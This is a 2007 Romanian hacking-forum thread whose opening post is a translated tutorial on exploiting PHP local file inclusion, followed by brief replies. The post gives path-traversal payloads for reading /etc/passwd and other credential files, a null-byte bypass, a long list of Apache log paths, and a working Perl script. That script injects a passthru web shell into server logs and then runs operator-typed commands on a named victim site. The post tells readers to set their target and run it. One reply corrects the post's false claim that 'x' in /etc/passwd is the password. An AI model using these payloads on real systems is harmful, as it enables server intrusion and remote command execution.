vladiii Posted April 28, 2007 Report Posted April 28, 2007 Buna ziua! In acest tutorial o sa invatati cum cum sa exploatati vulnerabilitatea LFI dintr-un site.Mai intai, sa vedem acest mic cod php:<?php$page = $_GET[/page][page];include($page);?> Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:site.host/index.php?page=../../../../../../../etc/passwdDaca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola. O parola criptata, ar trebui sa arate cam asa:username:x:503:100:FullName:/home/username:/bin/shIn acest exemplu, parola este x, alt exemplu de parola fiind:username:!:503:100:FullName:/home/username:/bin/shAlte "locuri" unde puteti gasi parolele in afara de /etc/passwd ar cam fi:/etc/shadow/etc/group/etc/security/group/etc/security/passwd/etc/security/user/etc/security/environ/etc/security/limitsIn caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii %00, serverul va omite tot ce scrie dupa %00.Exemplu de cod:site.host/index.php?file=../../../../../../../../etc/passwd%00Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.Cateva adrese de loguri:../apache/logs/error.log../apache/logs/access.log../../apache/logs/error.log../../apache/logs/access.log../../../apache/logs/error.log../../../apache/logs/access.log../../../../../../../etc/httpd/logs/acces_log../../../../../../../etc/httpd/logs/acces.log../../../../../../../etc/httpd/logs/error_log../../../../../../../etc/httpd/logs/error.log../../../../../../../var/www/logs/access_log../../../../../../../var/www/logs/access.log../../../../../../../usr/local/apache/logs/access_log../../../../../../../usr/local/apache/logs/access.log../../../../../../../var/log/apache/access_log../../../../../../../var/log/apache2/access_log../../../../../../../var/log/apache/access.log../../../../../../../var/log/apache2/access.log../../../../../../../var/log/access_log../../../../../../../var/log/access.log../../../../../../../var/www/logs/error_log../../../../../../../var/www/logs/error.log../../../../../../../usr/local/apache/logs/error_log../../../../../../../usr/local/apache/logs/error.log../../../../../../../var/log/apache/error_log../../../../../../../var/log/apache2/error_log../../../../../../../var/log/apache/error.log../../../../../../../var/log/apache2/error.log../../../../../../../var/log/error_log../../../../../../../var/log/error.logOk, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: <? passthru(\$_GET[cmd]) ?>. Daca scriem in browser:site.host/<? passthru(\$_GET[cmd]) ?>O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL'ul si pagina pe care noi am accesat-o, browserul o traduce in:site.host/%3C?%20passthru(\$_GET[cmd])%20?>Deci va trebui sa facem altceva... Putem utiliza urmatorul script perl:#!/usr/bin/perl -wuse IO::Socket;use LWP::UserAgent;$site="victim.com";$path="/folder/";$code="<? passthru(\$_GET[cmd]) ?>";$log = "../../../../../../../etc/httpd/logs/error_log";print "Trying to inject the code";$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";print $socket "GET ".$path.$code." HTTP/1.1\r\n";print $socket "User-Agent: ".$code."\r\n";print $socket "Host: ".$site."\r\n";print $socket "Connection: close\r\n\r\n";close($socket);print "\nCode $code sucssefully injected in $log \n";print "\nType command to run or exit to end: ";$cmd = <STDIN>;while($cmd !~ "exit") {$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n"; print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n"; print $socket "Host: ".$site."\r\n"; print $socket "Accept: */*\r\n"; print $socket "Connection: close\r\n\n"; while ($show = <$socket>) { print $show; }print "Type command to run or exit to end: ";$cmd = <STDIN>;}Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:1) modifica numele siteului2) modifica numele logului si calea catre el3) schimba index.php= cu ce doresti tuRulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!Linkuri utile: [url]http://www.milw0rm.com/video/watch.php?id=57[/url]Acesta este un mic tutorial video, incercati sa-l vizionati ca este foarte bun.Proof of Concept:Autor in limba engleza: d3fcrashTraducerea si adaptarea+modificari: vladii Quote
kw3rln Posted April 28, 2007 Report Posted April 28, 2007 nice ! 10x .. o sa-l pun pe pagina principala cand e gata Quote
escalation666 Posted April 28, 2007 Report Posted April 28, 2007 O mica corectare si completare:Tu ai scris ca:"In acest exemplu, parola este x" ceea ce este gresit pentru ca este un exemplu de fisier in care parola este shadowed, si se afla de fapt in /etc/shadow, si intr-adevar /etc/passwd poate sa-l citeasca oricine, dar pentru a vedea continutul din /etc/shadow iti trebuie drepturi de root, si doar in cazul in care web serverul ruleaza cu drepturi de root vei vedea continutul lui prin lfi! In rest, este un tutorial foarte interesant.Thx d3fcrash & vladiii Quote
vladiii Posted April 29, 2007 Author Report Posted April 29, 2007 multumesc baieti :D v-am promis ca daca o sa-mi bag net la calculator o sa ma ocup de acest forum... acesta a fost primul tutorial, mai urmeaza multe altele...just wait Quote